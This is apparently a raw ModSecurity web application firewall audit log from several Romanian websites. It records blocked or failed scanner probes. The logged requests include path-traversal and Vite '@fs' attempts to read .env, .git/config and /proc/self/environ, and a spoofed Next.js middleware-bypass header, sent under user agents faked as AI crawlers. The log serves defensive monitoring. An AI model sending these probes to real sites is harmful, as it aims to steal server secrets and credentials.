Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqY78isVWymXUono-eRS0wAAABc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/axapres.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789279218153431 290005 (- - -)
Stopwatch2: 1789279218153431 290005; combined=4246, p1=321, p2=3724, p3=109, p4=11, p5=81, sr=161, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--950c315e-Z--
--ced28e45-A--
[13/Sep/2026:09:00:31.951886 +0300] aqY7-zTJ6xTvcJoem7f4CwAAAFE 216.81.248.147 50908 127.0.0.1 7081
--ced28e45-B--
GET /.git/config HTTP/1.1
Host: iasipentruviitor.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; EVA-L09) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--ced28e45-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Headers: *
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ced28e45-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "iasipentruviitor.ro"] [uri "/.git/config"] [unique_id "aqY7-zTJ6xTvcJoem7f4CwAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "iasipentruviitor.ro"] [uri "/.git/config"] [unique_id "aqY7-zTJ6xTvcJoem7f4CwAAAFE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "iasipentruviitor.ro"] [uri "/.git/config"] [unique_id "aqY7-zTJ6xTvcJoem7f4CwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/iasipentruviitor.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789279231638750 313208 (- - -)
Stopwatch2: 1789279231638750 313208; combined=33199, p1=244, p2=32885, p3=0, p4=0, p5=70, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ced28e45-Z--
--2f623362-A--
[13/Sep/2026:09:21:08.158861 +0300] aqZA02M7dE9KgIIOpQhquAAAAME 34.181.172.83 41640 127.0.0.1 7081
--2f623362-B--
GET /img../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2f623362-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2f623362-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/img../.env"] [unique_id "aqZA02M7dE9KgIIOpQhquAAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280467972498 186485 (- - -)
Stopwatch2: 1789280467972498 186485; combined=4554, p1=272, p2=4229, p3=0, p4=0, p5=53, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2f623362-Z--
--d5a92759-A--
[13/Sep/2026:09:21:08.440239 +0300] aqZA1Ewu1RSkptiiNIXz2QAAAIA 34.181.172.83 41720 127.0.0.1 7081
--d5a92759-B--
POST /graphql HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Origin: https://3000demotive.ro
Referer: https://3000demotive.ro
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Microsoft Edge";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--d5a92759-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d5a92759-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468161131 279187 (- - -)
Stopwatch2: 1789280468161131 279187; combined=7430, p1=302, p2=6817, p3=0, p4=0, p5=310, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5a92759-Z--
--e3829633-A--
[13/Sep/2026:09:21:08.791240 +0300] aqZA02M7dE9KgIIOpQhqtwAAANM 34.181.172.83 41628 127.0.0.1 7081
--e3829633-B--
GET /uploads../.env HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e3829633-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e3829633-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/uploads../.env"] [unique_id "aqZA02M7dE9KgIIOpQhqtwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280467964373 826924 (- - -)
Stopwatch2: 1789280467964373 826924; combined=11014, p1=257, p2=10702, p3=0, p4=0, p5=54, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3829633-Z--
--31d2ec49-A--
[13/Sep/2026:09:21:08.942782 +0300] aqZA1GM7dE9KgIIOpQhqvwAAAMo 34.181.172.83 41810 127.0.0.1 7081
--31d2ec49-B--
GET /@fs/proc/self/cwd/.env?raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--31d2ec49-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--31d2ec49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "aqZA1GM7dE9KgIIOpQhqvwAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468858438 84400 (- - -)
Stopwatch2: 1789280468858438 84400; combined=3678, p1=265, p2=3360, p3=0, p4=0, p5=52, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--31d2ec49-Z--
--d9840939-A--
[13/Sep/2026:09:21:08.972323 +0300] aqZA1CsVWymXUono-eRS9AAAABU 34.181.172.83 41766 127.0.0.1 7081
--d9840939-B--
POST /api/graphql HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Origin: https://3000demotive.ro
Referer: https://3000demotive.ro
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Microsoft Edge";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--d9840939-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d9840939-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468651958 320463 (- - -)
Stopwatch2: 1789280468651958 320463; combined=6554, p1=318, p2=5926, p3=0, p4=0, p5=310, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d9840939-Z--
--60ff4b09-A--
[13/Sep/2026:09:21:09.072463 +0300] aqZA1GM7dE9KgIIOpQhqwAAAAMw 34.181.172.83 41816 127.0.0.1 7081
--60ff4b09-B--
GET /@fs/var/task/.env?raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--60ff4b09-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--60ff4b09-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/var/task/.env"] [unique_id "aqZA1GM7dE9KgIIOpQhqwAAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280468965856 106681 (- - -)
Stopwatch2: 1789280468965856 106681; combined=3624, p1=234, p2=3337, p3=0, p4=0, p5=53, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--60ff4b09-Z--
--86595d4f-A--
[13/Sep/2026:09:21:09.664282 +0300] aqZA1Uwu1RSkptiiNIXz3AAAAIE 34.181.172.83 41844 127.0.0.1 7081
--86595d4f-B--
POST /v1/graphql HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
Origin: https://3000demotive.ro
Referer: https://3000demotive.ro
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Microsoft Edge";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
--86595d4f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--86595d4f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469581654 82710 (- - -)
Stopwatch2: 1789280469581654 82710; combined=6081, p1=304, p2=5482, p3=0, p4=0, p5=294, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--86595d4f-Z--
--2bb9622f-A--
[13/Sep/2026:09:21:09.996324 +0300] aqZA1Uwu1RSkptiiNIXz3wAAAJQ 34.181.172.83 41924 127.0.0.1 7081
--2bb9622f-B--
GET /@fs/.env?raw&url?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2bb9622f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2bb9622f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw&url??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/.env"] [unique_id "aqZA1Uwu1RSkptiiNIXz3wAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469895150 101242 (- - -)
Stopwatch2: 1789280469895150 101242; combined=3673, p1=271, p2=3349, p3=0, p4=0, p5=53, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2bb9622f-Z--
--4b6cae01-A--
[13/Sep/2026:09:21:10.034152 +0300] aqZA1WM7dE9KgIIOpQhqwwAAAMY 34.181.172.83 41896 127.0.0.1 7081
--4b6cae01-B--
GET /@fs/.env?url&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4b6cae01-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4b6cae01-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:url&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/.env"] [unique_id "aqZA1WM7dE9KgIIOpQhqwwAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469857594 176613 (- - -)
Stopwatch2: 1789280469857594 176613; combined=4448, p1=208, p2=4187, p3=0, p4=0, p5=52, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4b6cae01-Z--
--2a92a267-A--
[13/Sep/2026:09:21:10.151001 +0300] aqZA1WM7dE9KgIIOpQhqxAAAAMs 34.181.172.83 41934 127.0.0.1 7081
--2a92a267-B--
GET /@fs/.env?import&?raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2a92a267-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2a92a267-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/.env"] [unique_id "aqZA1WM7dE9KgIIOpQhqxAAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469924783 226296 (- - -)
Stopwatch2: 1789280469924783 226296; combined=4889, p1=204, p2=4625, p3=0, p4=0, p5=60, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2a92a267-Z--
--a2803d06-A--
[13/Sep/2026:09:21:10.644210 +0300] aqZA1mM7dE9KgIIOpQhqywAAAM0 34.181.172.83 42018 127.0.0.1 7081
--a2803d06-B--
GET /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a2803d06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a2803d06-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:09-21.34.181.172.83"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789280470602249 42013 (- - -)
Stopwatch2: 1789280470602249 42013; combined=40715, p1=245, p2=40201, p3=0, p4=0, p5=268, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a2803d06-Z--
--771eb136-A--
